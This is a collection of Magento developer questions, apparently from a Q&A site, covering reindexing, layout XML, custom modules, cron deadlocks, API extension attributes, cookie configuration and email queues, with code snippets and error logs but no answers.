texts: In Magneto 2 If i do re-indexing with elastic search on one server, export that db and import on another server then again re-indexing will required or not?


texts: Magento 2.3 : Category attribute disabled when changing the store?

texts:
In Magento 2.3 we have few custom attribute and one of which is Wyswyg type and that went disabled i.e., can't editable when switching store.

  NOTE : when changing the use default option from content->description is un-checked it can be editable.

It was working fine in M2.2.7.

Any help would be appreciated :)

Thanks


texts: Why doesn't work xml in module in Magento 2

texts:
AutoAddtocart/BundleAddtocart/Controller/Index/Index.php

<?php

namespace AutoAddtocart\Bundlemod\Controller\Index;

class Index extends \Magento\Framework\App\Action\Action
{

    protected $resultPageFactory;

    public function __construct(
        \Magento\Framework\App\Action\Context $context,
        \Magento\Framework\View\Result\PageFactory $resultPageFactory
    ) {
        $this->resultPageFactory = $resultPageFactory;
        parent::__construct($context);
    }

    public function execute()
    {
        return $this->resultPageFactory->create();
    }

}

  AutoAddtocart/BundleAddtocart/Block/Addtocartauto.php

<?php

namespace AutoAddtocart\BundleAddtocart\Block;

die('sss');

class Addtocartauto extends \Magento\Framework\View\Element\Template
{

    public function __construct(
        \Magento\Framework\View\Element\Template\Context $context,

    )
    {

        parent::__construct($context, $data);
    }

}

  AutoAddtocart/BundleAddtocart/view/frontend/layout/bundleaddtocart_index_index.xml

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="1column"
      xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

    <head>
        <title>Automatic Add bundle product to cart</title>
    </head>
    <body>
        <referenceContainer name="content">
            <block class="AutoAddtocart\BundleAddtocart\Block\Addtocartauto" name="bundletocart" template="AutoAddtocart_BundleAddtocart::add_automatic.phtml" />
        </referenceContainer>
    </body>
</page>

  AutoAddtocart\Bundlemod\view\frontend\templates\add_automatic.phtml;

but when I add it to theme page layouts it works


texts: Remove code for saving the attributes of a bundle item to the parent bundle product while reindexing

texts:
I am using a bundle product say Samsung Mobile in my website for which i have added a bundle item called free gift. This free gift can be any simple product like a Sony memory card.

Now, i am facing a situation where in the navigation filter i am getting the filters for not only the bundled product but also for the simple product attached to it. For eg, Samsung Mobile is having an attribute called brand for which the value is Samsung but the memory card which is the bundle item attached to it is also having an attribute brand for which the value is Sony. I do not want Sony to be in the filters as that is referring to the free gift product attribute.

Upon digging up the code for layer navigation, i found out that While reindexing Magento saves the attributes of the children products to the parent product as well in the table "catalog_product_index_eav".

I need to edit the code where the system saves the bundle items attributes to the parent product but unable to find the code for it. Is there any observer that i can use to achieve this?  I only need to customize the reindexing part for the process "Product Attributes".


texts: I need to create a custom print invoice.It should generate Xlsx

texts:
I need to create a custom print invoice.So i created a file Export.php in module_sales->controller->adminhtml->invoice->Export.php. Excel is generating but how to put the data into different cells where ever i want.Now i am getting the data in top column only (like A1,B1,C1,D1)Please help.

namespace Magento\Sales\Controller\Adminhtml\Invoice;

use Magento\Backend\Block\Widget\Grid\ExportInterface;
use Magento\Framework\App\ResponseInterface;
use Magento\Framework\App\Filesystem\DirectoryList;
use \Magento\Sales\Model\SalesInvoiceFactory;
use \Magento\Sales\Model\SalesOrderFactory;
use \Magento\Sales\Model\SalesInvoiceGridFactory;
use \Magento\Backend\App\Action;

class Export extends Action {

    protected $_salesinvoiceFactory;
    protected $_salesorderFactory;
    protected $_salesinvoicegridFactory;

    public function __construct(
    \Magento\Backend\App\Action\Context $context, \Magento\Sales\Model\SalesInvoiceFactory $SalesInvoiceFactory, \Magento\Sales\Model\SalesOrderFactory $SalesOrderFactory, \Magento\Sales\Model\SalesInvoiceGridFactory $SalesInvoiceGridFactory
    ) {
        parent::__construct($context);

        $this->_salesinvoiceFactory = $SalesInvoiceFactory;
        $this->_salesorderFactory = $SalesOrderFactory;
        $this->_salesinvoicegridFactory = $SalesInvoiceGridFactory;
    }

    public function execute() {
        $rows = array();
        $invoiceId = $this->getRequest()->getParam('invoice_id');
        $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
        $invoicemodel = $this->_salesinvoiceFactory->create()->getCollection()->addFieldToFilter('entity_id', $invoiceId);
        foreach ($invoicemodel as $invoice) {

            $invoiceno = $invoice['increment_id'];
        }

        $ordermodel = $this->_salesorderFactory->create()->getCollection()->addFieldToFilter('entity_id', $invoiceId);

        foreach ($ordermodel as $order) {
            $invoiceno = $order['invoice_number'];

            $issueofinvoice = $order['created_at'];
            array_push($rows, $issueofinvoice);
            $timeofinvoice = $order['created_at'];
            array_push($rows, $timeofinvoice);
            $dispatchmethod = $order['dispatch_method'];
            array_push($rows, $dispatchmethod);
            $grandtotal = $order['grand_total'];
            array_push($rows, $grandtotal);
        }

        $gridmodel = $this->_salesinvoicegridFactory->create()->getCollection()->addFieldToFilter('entity_id', $invoiceId);
        foreach ($gridmodel as $grid) {

            $nameandaddress = $grid['billing_address'];
            array_push($rows, $nameandaddress);
        }

        header('Content-Type: text/xls; charset=utf-8');
        header('Content-Disposition: attachment; filename=klauz.xls');

        // create a file pointer connected to the output stream
        $output = fopen('php://output', 'w');
        fputcsv($output, $rows);
    }
}


texts: Magento 1.7 stuck on billing information

texts:
I try to checkout from my website but it remains on billing information tab. What is wrong?

http://www.caviarofswitzerlandshop.com/

Thanks


texts: How restart Cron jobs in a Magento 2 Store Migration

texts:
I have migrated my Magento store 2.3.1 from the server. I have migrated database and folder with all files. What do I have to do with cron jobs? This is my error in logs:

[2019-11-19 11:21:16] main.ERROR: Cron Job indexer_update_all_views has an error: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction, query was: INSERT INTO `catalog_product_index_price_store` SELECT `ip_tmp`.* FROM `catalog_product_index_price_store_temp` AS `ip_tmp` ON DUPLICATE KEY UPDATE `tax_class_id` = VALUES(`tax_class_id`), `price` = VALUES(`price`), `final_price` = VALUES(`final_price`), `min_price` = VALUES(`min_price`), `max_price` = VALUES(`max_price`), `tier_price` = VALUES(`tier_price`). Statistics: {"sum":0,"count":1,"realmem":0,"emalloc":0,"realmem_start":170131456,"emalloc_start":157612720} [] []
[2019-11-19 11:21:16] main.CRITICAL: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction, query was: INSERT INTO `catalog_product_index_price_store` SELECT `ip_tmp`.* FROM `catalog_product_index_price_store_temp` AS `ip_tmp` ON DUPLICATE KEY UPDATE `tax_class_id` = VALUES(`tax_class_id`), `price` = VALUES(`price`), `final_price` = VALUES(`final_price`), `min_price` = VALUES(`min_price`), `max_price` = VALUES(`max_price`), `tier_price` = VALUES(`tier_price`) {"exception":"[object] (Magento\\Framework\\Exception\\LocalizedException(code: 0): SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction, query was: INSERT INTO `catalog_product_index_price_store` SELECT `ip_tmp`.* FROM `catalog_product_index_price_store_temp` AS `ip_tmp` ON DUPLICATE KEY UPDATE `tax_class_id` = VALUES(`tax_class_id`), `price` = VALUES(`price`), `final_price` = VALUES(`final_price`), `min_price` = VALUES(`min_price`), `max_price` = VALUES(`max_price`), `tier_price` = VALUES(`tier_price`) at /var/www/magento/app/code/Bss/MultiStoreViewPricingPriceIndexer/Model/Indexer/Product/Price/Action/Rows.php:51, Magento\\Framework\\DB\\Adapter\\DeadlockException(code: 1213): SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction, query was: INSERT INTO `catalog_product_index_price_store` SELECT `ip_tmp`.* FROM `catalog_product_index_price_store_temp` AS `ip_tmp` ON DUPLICATE KEY UPDATE `tax_class_id` = VALUES(`tax_class_id`), `price` = VALUES(`price`), `final_price` = VALUES(`final_price`), `min_price` = VALUES(`min_price`), `max_price` = VALUES(`max_price`), `tier_price` = VALUES(`tier_price`) at /var/www/magento/vendor/magento/framework/DB/Adapter/Pdo/Mysql.php:589, Zend_Db_Statement_Exception(code: 40001): SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction, query was: INSERT INTO `catalog_product_index_price_store` SELECT `ip_tmp`.* FROM `catalog_product_index_price_store_temp` AS `ip_tmp` ON DUPLICATE KEY UPDATE `tax_class_id` = VALUES(`tax_class_id`), `price` = VALUES(`price`), `final_price` = VALUES(`final_price`), `min_price` = VALUES(`min_price`), `max_price` = VALUES(`max_price`), `tier_price` = VALUES(`tier_price`) at /var/www/magento/vendor/magento/zendframework1/library/Zend/Db/Statement/Pdo.php:235, PDOException(code: 40001): SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/magento/vendor/magento/zendframework1/library/Zend/Db/Statement/Pdo.php:228)"} []

Any idea to fix that?
Thanks!


texts: Page Configuration on a Custom Page Layout XML in Magento 2

texts:
I've created a Custom page_layout through my own Theme for an About Us page. Through the tutorial of the Magento DevDocs, it was quite clear on how to declare the Custom CMS layout by a handle in Magento_Theme, inside your theme folder.
page_layout - Magento_Theme/page_layout/aboutus.xml
<?xml version="1.0"?>
<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_layout.xsd">
    <update handle="cms-full-width" />
    <referenceContainer name="main.content">
        <block class="Magento\Framework\View\Element\Template" ... />
    </referenceContainer>
</layout>

Then importantly, to reference the layout id which matches the layouts.xml declaration.
layouts.xml - Magento_Theme/layouts.xml
<?xml version="1.0" encoding="UTF-8"?>
<page_layouts xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/PageLayout/etc/layouts.xsd">
    <layout id="aboutus">
        <label translate="true">About Us Layout</label>
    </layout>
</page_layouts>

This works well, as the <referenceContainer /> does successfully inject the block into the newly created Page layout. It's selectable as CMS Page layout as well.
However, this particular page will have it's own <head> resources and attributes. This is possible through existing layouts quite easily, take for example. Applying a page configuration to the native Category Pages, I would override/extend with below:

app/design/Vendor/Theme/Magento_Catalog/layout/catalog_category_view.xml

Problem is, I'm unable to apply Page Configurations to either page_layout/aboutus.xml and layouts.xml because they are definitions .xsd's of page_layout and layouts respectively.
So I've attempted to apply the same concept to my Custom layout, thinking Magento_Cms would the natural module for Magento to 'collect'.

app/design/Vendor/Theme/Magento_Cms/layout/aboutus.xml

or any of the following others, as normally it's [controller]_[method]_[action] name convention.

app/design/Vendor/Theme/Magento_Cms/layout/cms_aboutus.xml
app/design/Vendor/Theme/Magento_Cms/layout/cms_index_aboutus.xml
app/design/Vendor/Theme/Magento_Theme/layout/aboutus.xml

None of which seem to apply any configuration instructed in the .xml.
Thus my question is:

Where in my theme do I declare a Page Configuration XML Update for a Custom Page Layout?

An example of the Configuration XML I'm trying to achieve:
aboutus.xml - layout/aboutus.xml
<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <head>
        <title>About Us</title>
        <css src="example/example_styles_a.css" />
        <css src="example/example_styles_b.css" />
    </head>
</page>


texts: I am not able to use product name like 5" ABCD in Magento2

texts:
When i use double quotes in product name Magento2 product page is breaking.

Not Rendering Images , Tabs etc

getting below js error

Uncaught SyntaxError: Unexpected token B in JSON at position 120
    at JSON.parse (<anonymous>)
    at getData (main.js:58)
    at Array.map (<anonymous>)
    at HTMLDocument.apply (main.js:74)
    at fire (jquery.js:3232)
    at Object.add [as done] (jquery.js:3291)
    at jQuery.fn.init.jQuery.fn.ready (jquery.js:3542)
    at jQuery.fn.init (jquery.js:2967)
    at new jQuery.fn.init (jquery-migrate.js:225)
    at jQuery (jquery.js:75)

I debug and found its breaking from breadcrumb due to double quote in name.

{
   "breadcrumbs": {
       "categoryUrlSuffix": ".html",
       "useCategoryPathInUrl": 0,
       "product": "5" ABCD"
   }
}

SO How can i use double quotes in name ?


texts: Static files cannot be read in fresh Magento 2.3

texts:
I have a problem with fresh Magento 2.3.5-p1. I just installed it to the new Siteground cloud server. It is under public_html. The site seems to work when I load it the first time. After reloading page logo disappears and if I try to open logo image link it gives 403 (points to static folder). Product images works fine. I can open admin but when I click to next page (or reload page) images logo and small images disappear and I cannot open left slide panel.
Seems like Magento can read files from their original folders but not all files after they are generated to static content. I tried to chmod all other folders to 755 and files to 644, and VAR but that did not help.
Owner/group is 501 501 for all files.
Any ideas how to fix this. I have installed Magento 2 to another server many times without a problem, then I started to build final live site and right away got this problem.
Many thanks!


texts: Found error when customer tried to login in

texts:
When customer tried to login, there always error log in exception log, here's the error written in exception log :

  main.CRITICAL: No such entity with customerId =
  {"exception":"[object]
  (Magento\Framework\Exception\NoSuchEntityException(code: 0): No
  such entity with customerId =  at
  /var/www/html/example.com/public_html/vendor/magento/framework/Exception/NoSuchEntityException.php:49)"}
  []

Is there something wrong that made that error log?


texts: How to turn free Magento Connect extension into paid extension?

texts:
This question is about upgrading an extension to latest Magento version and resubmit it as a paid component.

We have built an extension that works with customer credit. Currently we are offering a free version of it which is compatible up to version 1.8.1. Going further we are now planning to upgrade it to version 1.9

How long it takes to upgrade an extension to version 1.9 and how to
resubmit it as a paid component ?
What it takes to make an extension a Paid version ?
How is the payment processed while purchasing an extension ?
How the pricing is decided for a paid extension ?
Is it advisable to go from free to paid version ?

Also what are the advantages of upgrading an extension to latest version?


texts:
Im trying to add some data to a database i just created.

Here is the database.
It works fine!

<?php
$installer = $this;
$installer->startSetup();
$sql=<<<SQLTEXT
create table emailorders(
    emailorders_id int not null auto_increment,
    order_date varchar(255) not null,
    product_name varchar(255) not null,
    location varchar(255) not null,
    date_for varchar(255) not null,
    name_title varchar(100) not null,
    email varchar(255) not null,
    company varchar(255) not null,
    adress varchar(255) not null,
    zipcode varchar(255) not null,
    city varchar(255) not null,
    phone varchar(255) not null,
    comment text not null,
    order_done int not null default 0,
    primary key(emailorders_id)

);

SQLTEXT;

$installer->run($sql);
//demo
//Mage::getModel('core/url_rewrite')->setId(null);
//demo
$installer->endSetup();

Here are the code when i try to add the data to det created database

<?php
$details = $this->getDetails();
$conferance_name = $details['product_name'];
$hotel = $details['hotelval'];
$date = $details['dateval'];
$ogtitel = $details['navn_title'];
$virksomhed = $details['virksomhed'];
$adresse = $details['adresse'];
$postnr = $details['postnr'];
$by = $details['by'];
$telefon = $details['telefon'];
$email = $details['email'];
$kommentarer = $details['kommentarer'];
$newdate = date('Y-m-d')

?>

<?php

$sql = "INSERT INTO emailorders (order_date, product_name, location, date_for, name_title, email, company, adress, zipcode, city, phone, comment, order_done)
VALUES ('$newdate', $conferance_name', '$hotel', $date, '$ogtitel', '$email', '$virksomhed', '$adresse', '$postnr', '$by', '$telefon', '$kommentarer','0')";

if ($conn->query($sql) === TRUE) {
    echo "New record created successfully";
} else {
    echo "Error: " . $sql . "
" . $conn->error;
}

$conn->close();
?>

All my variables works, i have echo them to check. But why is the data not going in the database? :(

Hope you can help

UPDATE!

I just tried this with the same result :(

  <?php

$cron = Mage::getSingleton('core/resource')->getConnection('core_write');
$query = "INSERT INTO emailorders (emailorders_id, order_date, product_name, location, date_for, name_title, email, company, adress, zipcode, city, phone, comment, order_done)
VALUES (NULL, '$newdate', $conferance_name', '$hotel', '$date', '$ogtitel', '$email', '$virksomhed', '$adresse', '$postnr', '$by', '$telefon', '$kommentarer', '0')";

try {
    $cron->query($query);
    echo "New record created successfully";
} catch (Mage_Core_Exception $e) {
       echo "Error: " . $query . "
" .$e->getMessage());
}

?>


texts: I installed my Magento 2 to an Apache environment. I know I may have some misconfiguration errors. Any Ideas how to fix this one?


texts: Magento 2 : Configurable Product Quick Add to Cart Not Working

texts:
I am on category page and want to quick add product to cart. It works fine for simple products but not for configurables.

I select color and size and click Add to Card and it redirected to product detail page with following notification:

  You need to choose options for your item.
     The selected Item is in stock


texts: What are some free extensions for delivery date in checkout?

texts:
We are in Magento2.2.X. We would like to implement the delivery date field into the checkout. When I have googled, I have found the below free extension but it hasn't worked for me.

https://marketplace.magento.com/rage-delivery-date.html

I have tried to find some other free extensions but no success. Could anyone please tell me what are the free extensions for a delivery date?


texts: Understanding the constructor in magento PHP files

texts: I have something like this in list.phtml __('Add to Wishlist') ?> and I want to know which constructor and which PHP class file is it calling for ?


texts: The product image is not displaying in the product details page in magento2

texts:
The product image not displaying in product details page when it is loading but not display image. please find the http://i.prntscr.com/Sm8MZzxARWmH-KFfaIq2Fw.png
link. Can you please help me?


texts: Download Order information as a pdf from mail

texts:
I want to download order information as a PDF form from transnational email.Is there any way to implement this? Actually what i need is after order is completed, need a to send a mail for admin and supplier. For that I have created different email template.My client need this information to be in a pdf format and download it from mail.
When we click on the admin print we got a PDF link like this  (sales > print)wwww.test.com/index.php/admin/pdf4magento/adminhtml_sales_order/print/order_id/. Is there is any way to implement it on the transaction mail? Please need some help


texts: Magento 2.3 - Intergration varnish cache with, error socket :80: address already use

texts:
When I check status Varnish, always receive error :

  Error: Could not reopen listen socket :80: Address already in use.

But, run command sudo netstat -nlpt, don't have process using port :80 ???

What did I do something wrong ?


texts: Error is showing saved data from database and display in dynamic row grid Magento 2

texts:
I am working on Magento 2.2.1 backend module. Basically backend part is a form that contains UI COMPONENT tabs. Everything is working fine except the last dynamic data rendered after saving the dynamic rows data.

I have taken reference from the Magento core related product section. Basically, the idea of working is exactly same as on product edit form for related products, so: we have a button "Add related products", modal render with the grid of products then we can select them and after click "Add selected products" we have them rendered in dynamic grid rows.

I was able to reproduce some part of this logic on my customs form:

custom tab with the button "Add group products" with the help of modifiers.
after click modal render
inside modal, I have a product list
when selecting the product and clicking "Add selected products" modal disappear and selected products are inserting with dynamic data rows into my customs form with the help of insert listing of Magento 2.
when opening modal again the list is filtered (does not contain previously selected elements)
The DYNAMIC GRID is populating inside my customs form and I am able to save those data into my custom tables.
Here, I am unable to display the saved data inside my form in the dynamic grid-like Magento related products.
I do not know where is the problem with dynamic grid :/ there are no errors in the console, no error logs, etc. Does anyone worked with those components or maybe have an idea what to do to make it works?

I have added the below code inside getData()  in my custom form data provider

/** @var ModifierInterface $modifier */

    foreach ($this->pool->getModifiersInstances() as $modifier) {

        $this->loadedData = $modifier->modifyData($this->loadedData);

    }

and in my form modifier modifyData() function retriving the data and passing the same to the fillData() function to rendered the data in the dynamic grid.


texts: Magento Adminhtml createblock() Form 'Mage_Core_Exception' Ivalid Block Type

texts:
I want to create my own admin site.

config.xml :

<config>
    <modules>
        <Mymodule_Test>
            <version>0.1.0</version>
        </Mymodule_Test>
    </modules>
    <global>
        <helpers>
            <test>
                <class>Mymodule_Test_Helper</class>
            </test>
        </helpers>
    </global>
    <admin>
        <routers>
            <mymoduletest>
                <use>admin</use>
                <args>
                   <module>Mymodule_Test</module>
                   <frontName>mymoduletest</frontName>
                </args>
            </mymoduletest>
        </routers>
    </admin>
    <adminhtml>
        <layout>
            <updates>
                <test>
                    <file>test.xml</file>
                </test>
            </updates>
        </layout>
    </adminhtml>
</config>

adminhtml.xml:

<menu>
    <test translate="title" module="test">
        <title>Test</title>
        <sort_order>300</sort_order>
        <children>
            <!-- child items go here -->
            <show translate="title" module="test">
                <title>SubTest</title>
                <sort_order>10</sort_order>
                <action>mymoduletest/adminhtml_show</action>
            </show>
        </children>
    </test>
</menu>

controllers\Adminhtml\ShowController.php :

<?php Class Mymodule_Test_Adminhtml_ShowController extends Mage_Adminhtml_Controller_Action{

protected function _initAction()
{
    $this->loadLayout();
    $this->_setActiveMenu('test/show');
    return $this;
}

public function indexAction()
{
    $this->_initAction()
         ->_addContent($this->getLayout()->createBlock('Mymodule_Test_Block_Adminhtml_Show'))
         ->renderLayout();
}}

Block\Adminhtml\Show.php :

<?php class Mymodule_Test_Block_Adminhtml_Show extends Mage_Adminhtml_Block_Widget_Form_Container{

public function __construct()
{

    parent::__construct();

    $this->removeButton('back');
    $this->removeButton('reset');
    $this->removeButton('delete');
    $this->removeButton('add');
    $this->removeButton('save');
    $this->removeButton('edit');

    $this->setId('testContainer');

    $this->_blockGroup = 'test';
    $this->_controller = 'adminhtml';
    $this->_mode = 'show';

    $this->_headerText  = 'TEST';
}}

My admin page shows the headText byt ow I get this exception:

  exception 'Mage_Core_Exception' with message 'invalid block type:
  Mage_Test_Block_Adminhtml_Show_Form' in
  /var/www/html/magento/app/Mage.php:595

And on my admin page this:

  Fatal error: Call to a member function setData() on boolean in
  /var/www/html/magento/app/code/core/Mage/Adminhtml/Block/Widget/Form/Container.php
  on line 129

Why magento creates the block: Mage_Test_Block_Adminhtml_Show_Form and not Mymodule_Test_Block_Adminhtml_Show_Form ???

The Block\Adminhtml\Show\Form.php :

<?php class Mymodule_Test_Block_Adminhtml_Show_Form extends Mage_Adminhtml_Block_Widget_Form {

public function __construct()
{
    parent::__construct();

    $this->setId('showGeneralForm');
    $this->setTemplate('test/show.phtml');
}

protected function _beforeToHtml()
{
    return parent::_beforeToHtml();
}}


texts: How to add custom module dropdown in magento 2 luma theme top bar

texts:
I want to add a dropdown(i.e select) in the top bar(which contains the welcome message) of magento 2 luma theme as the last item of it or any other theme that contains this block. This dropdown will be of my custom module. What I have tried till now is:

Setup a new module, which is working file.

Created these files and cleared the cache.

Magento mode is set to developer.

  Vendor/ModuleName/view/frontend/layout/default.xml

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="3columns" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
<body>
    <referenceContainer name="top.links">
        <block class="Vendor\ModuleName\Block\Html\Dropdown" name="some_name" template="Vendor_ModuleName::html/dropdown.phtml" after="-"/>
    </referenceContainer>
</body>

  Vendor/ModuleName/view/frontend/template/html/dropdown.phtml

<select>
    <?php echo $block->getOptionsHtml(); ?>
</select>

  Vendor/ModuleName/Block/Html/Dropdown.phtml

class Dropdown extends Template
{
    private $options = [
    ['value' => 'some value 1', 'selected' => 1],
    ['value' => 'some value 2', 'selected' => 0],
    ['value' => 'some value 3', 'selected' => 0]
];

/**
 * Dropdown constructor.
 *
 * @param TemplateContext $context
 * @param array $data
 */
public function __construct(TemplateContext $context, array $data = [])
{
    parent::__construct($context, $data);
}

public function getOptionsHtml()
{
    $optionHtml = '';
    foreach ($this->options as $option) {
        $optionHtml .= '<option value="' . $option["value"] . '" ' . ($option["selected"] ? "selected" : "") . '>' . $option . '</option>';
    }
    return $optionHtml;
}

}


texts: Get orders API does not include custom extension attributes

texts:
The reason is in the documentation itself: This call returns an array of objects, but detailed information about each object’s attributes might not be included.

What I'm looking for is something to force the inclusion of this custom attribute into the extension attributes response object.

This is how I created the custom attribute:

1) Added the attribute in the database with the standard way in /Setup/UpgradeData.

2) etc/extension_attributes.xml

<extension_attributes for="Magento\Sales\Api\Data\OrderInterface">
    <attribute code="myCustomAttr" type="string" />
</extension_attributes>

3) Two observer events: sales_order_save_before and sales_order_load_after

One of the observers:

<?php
namespace Vendor\Module\Observer\Sales;

use Magento\Framework\Event\ObserverInterface;

class OrderLoadAfter implements ObserverInterface
{
  public function execute(\Magento\Framework\Event\Observer $observer)
  {
      $order = $observer->getOrder();
      $extensionAttributes = $order->getExtensionAttributes();

      if ($extensionAttributes === null) {
          $extensionAttributes = $this->getOrderExtensionDependency();
      }

      $attr = $order->getData('myCustomAttr');
      $extensionAttributes->setData('myCustomAttr', $attr);
      $order->setExtensionAttributes($extensionAttributes);
  }

  private function getOrderExtensionDependency()
  {
      $orderExtension = \Magento\Framework\App\ObjectManager::getInstance()->get(
          '\Magento\Sales\Api\Data\OrderExtension'
      );
      return $orderExtension;
  }
}

This works, the custom attribute is correctly loaded into the extension attributes of the GET /order/{id} REST API and saved with the PUT.

The GetOrdersList service (/orders?searchCriteria=etc.) is the only one which does not return the attribute. Any idea?


texts: Set product price with multiple websites

texts:
I have setup my Magento with 2 websites, with ID 1 and 4, and one store for each website.

Default website is 1.

My product has a Default price.

How can I set programmatically a price for website 4 without touching website 1?

See what I have tried so far:

$product = Mage::getModel('catalog/product')->loadByAttribute('sku', $sku);
$product->setWebsiteId(4)->setPrice($newPrice)->save();

Unfortunately the code above leaves unchanged the price for website 4, and overrides Default price for website 1 with $newPrice!


texts:
How to add the function to forward "compare product list" via email with a form?

I tried to look for an extension but no luck.

Thanks,


texts: Magento 1 : Admin Panel Not Saving Changes In Theme?

texts:
Working On Magento 1.9 Website active on scala hosting.

I am using porto theme, all was going good but all of sudden am not able to save the changes done on theme . when l click on 'save config' it gets saved but changes are not done. on other modules and extensions am able to save the changes.

can anyone please guide the about the issue and how can l solve the same.


texts: How opinionated is magento2 frontend(JS)?

texts:
I hope this question makes sense, there is a chance it doesn't.

I am looking into creating a custom checkout module for Magento2 and as a part of it i am evaluating JS frameworks. After evaluating some i wanted to try out AureliaIO and typescript. It uses system.js for module loading(magento2 uses requirejs) and after trying to include this for a while i realised there are some issues using these technologies side by side. I dont know if a framework like aurelia is the right choice but that is not what my question is about.

My thinking revolves around wheter magento2 designed to have me use the supplied utilities like knockout.js and require.js or to have the plathora of frontend tech available without breaking to much native goodies.

In other words, am i putting myself in a bad spot if i exclude require, knockout etc for this particular checkout page in favour of other frontend tech? How opinionated is magento2 frontend?


texts:
I am using datapatch to update attribute
  my code is

 namespace Devall\SpecialPrice\Setup\Patch\Data;

 use Magento\Framework\Setup\Patch\DataPatchInterface;
 use Magento\Eav\Setup\EavSetup;

class AddLabaCenaAttribute implements DataPatchInterface

protected $eavSetupFactory;

public function __construct(EavSetup $eavSetupFactory)
{
    $this->eavSetupFactory = $eavSetupFactory;
}

/**
 * @inheritDoc
 */
public static function getDependencies()
{
    return [];
}

/**
 * @inheritDoc
 */
public function getAliases()
{
    return [];
}

/**
 * @inheritDoc
 */
public function apply()
{
    $this->eavSetupFactory->updateAttribute(4, 184, 'is_used_for_promo_rules', 1);
}
}


texts: Add an external javascript function on a button in admin panel

texts:
I have a little problem to add an external javascript function in a <select>.

I've got a file form.php in /app/code/local/{my_namespace}/{my_module}/Block/Adminhtml/{my_entity}/edit/tab/form.php

I've got another file in js/{my_module}/verifForm.js

In my form.php, there is one select field where I put a : 'onchange' => 'myfunction()'

And myfunction() appear in verifForm.js
At the moment, it's just an alert('hello') in it, just to try.

But it doesn't work, when I change the select, my console says : Uncaught ReferenceError: myfunction is not defined

So there is my question, how can I call this external function with my onchange ?


texts: How to unset the selected payment method in magento 2

texts:
I have created custom icon in checkout page, after clicking that icon, I have refreshed the payment section using below link

Magento 2: How to refresh payment method on some condition

But before refreshing, I wish to unset the selected payment method, Please provide me a solution


texts:
I've been running into this issue lately where I cannot save content in a CMS page if it contains the word 'Select' or any variant of the page. Whenever I try and save a page with the word 'Select in the content area it does the typical refresh but does not say that the page has been saved as usual and the content will revert back to whatever it was before the updated content was put in.

Also if it is a new page it will not create the page when you try and save.

I'm not entirely sure about this but it seems that it may be a copy and paste issue with the word select. I've tried hand writing small portions of code containing 'Select' and it will save sometimes.

I've also tried replacing the word select with anything else and it will save the page but when I try and add select back inside of magento it does not save the page.

The only workaround I have at the moment is to write the content directly into the database but this is not sufficient because our client needs to be able to update content as well.

Any ideas? Suggestions?

Additional Information: Looks like I've found another set of words that won't save 'From Effect'


texts:
We have two stores in our Magento 1.9 installation: a retail website, coolstuff.com (no www prefix) and a wholesale website, dealer.coolstuff.com. Following the launch of our website with HTTPS forced on for all pages, we are having issues only on the wholesale website (i.e., subdomain dealer.coolstuff.com) that are seemingly session/cookie related based on what I've found researching.

It seems as though most topics on this subject desire the customer's session to be persisted across both stores (e.g., regional stores, such as north.mysite.com and south.mysite.com). This is not our desired functionality-- we run two separate stores with separate customer bases and separate pricing, so therefore you should be able to be logged into coolstuff.com with one account, and dealer.coolstuff.com with a different account.

My system configuration under 'General -> Web -> Session Cookie Management" is as follows:

Scope: coolstuff.com

Cookie Path: /
Cookie Domain: coolstuff.com

Scope: dealer.coolstuff.com

Cookie Path: /
Cookie Domain: dealer.coolstuff.com

I'm noticing in my Chrome Resource Management that I have a frontend cookie for both domains with the same session id and the Domain is prefixed with a . e.g., .coolstuff.com and .dealer.coolstuff.com both have a value of tfbjsnm5df2o2hqcofbh9r3s74 but different expiration dates. This seems like a configuration issue, but I just can't seem to get it figured out.

What am I doing wrong here? I feel like the issue is that the browser isn't sure which cookie to use? Would a www prefix on our retail website (and corresponding change to cookie configuration) resolve this? I'm really scratching my head here, any input would be great!!


texts: How to use Magento 1.9 email queue to send customized email to select customers?

texts:
We have over 100,000 customers that meet certain criteria (such as last login date) that need to be sent an email. This is NOT a newsletter as these recipients may not be subscribed to our newsletter. I can send an email easily enough to each customer one at a time in a foreach loop using the following code:

$emailTemplate->send($vars['email'], $vars['email'], $vars);

However, I didn't know if using Magento's 1.9's email queue would be a better to avoid spam issues and be less resource draining manner in which to send these emails. Is that the right approach or is there a better way?

I am aware of how Magento sends through the queue order confirmation emails using the following code:

    /** @var $emailQueue Mage_Core_Model_Email_Queue */
    $emailQueue = Mage::getModel('core/email_queue');
    $emailQueue->setEntityId($this->getId())
        ->setEntityType(self::ENTITY)
        ->setEventType(self::EMAIL_EVENT_NAME_NEW_ORDER)
        ->setIsForceCheck(!$forceMode);

    $mailer->setQueue($emailQueue)->send();

Being a novice and somewhat new to the development side of Magento, I am struggling with the right approach to creating my own email, that is not a transaction email, but a mass email sent to specific customers (not necessarily signed up for a newsletter either).

Trying to trace the setEntityId method along with the setEntityType and setEventType, I found the following (which wasn't helpful at all) located in app/code/core/Mage/Core/Model/Email/Queue.php:

    /**
    * Email Template Mailer Model
    *
    * @method Mage_Core_Model_Email_Queue setEntityId(int $value)
    * @method Mage_Core_Model_Email_Queue setEntityType(string $value)
    * @method Mage_Core_Model_Email_Queue setEventType(string $value)
    * @method Mage_Core_Model_Email_Queue setIsForceCheck(int $value)
    * @method int getIsForceCheck()
    * @method int getEntityId()
    * @method string getEntityType()
    * @method string getEventType()
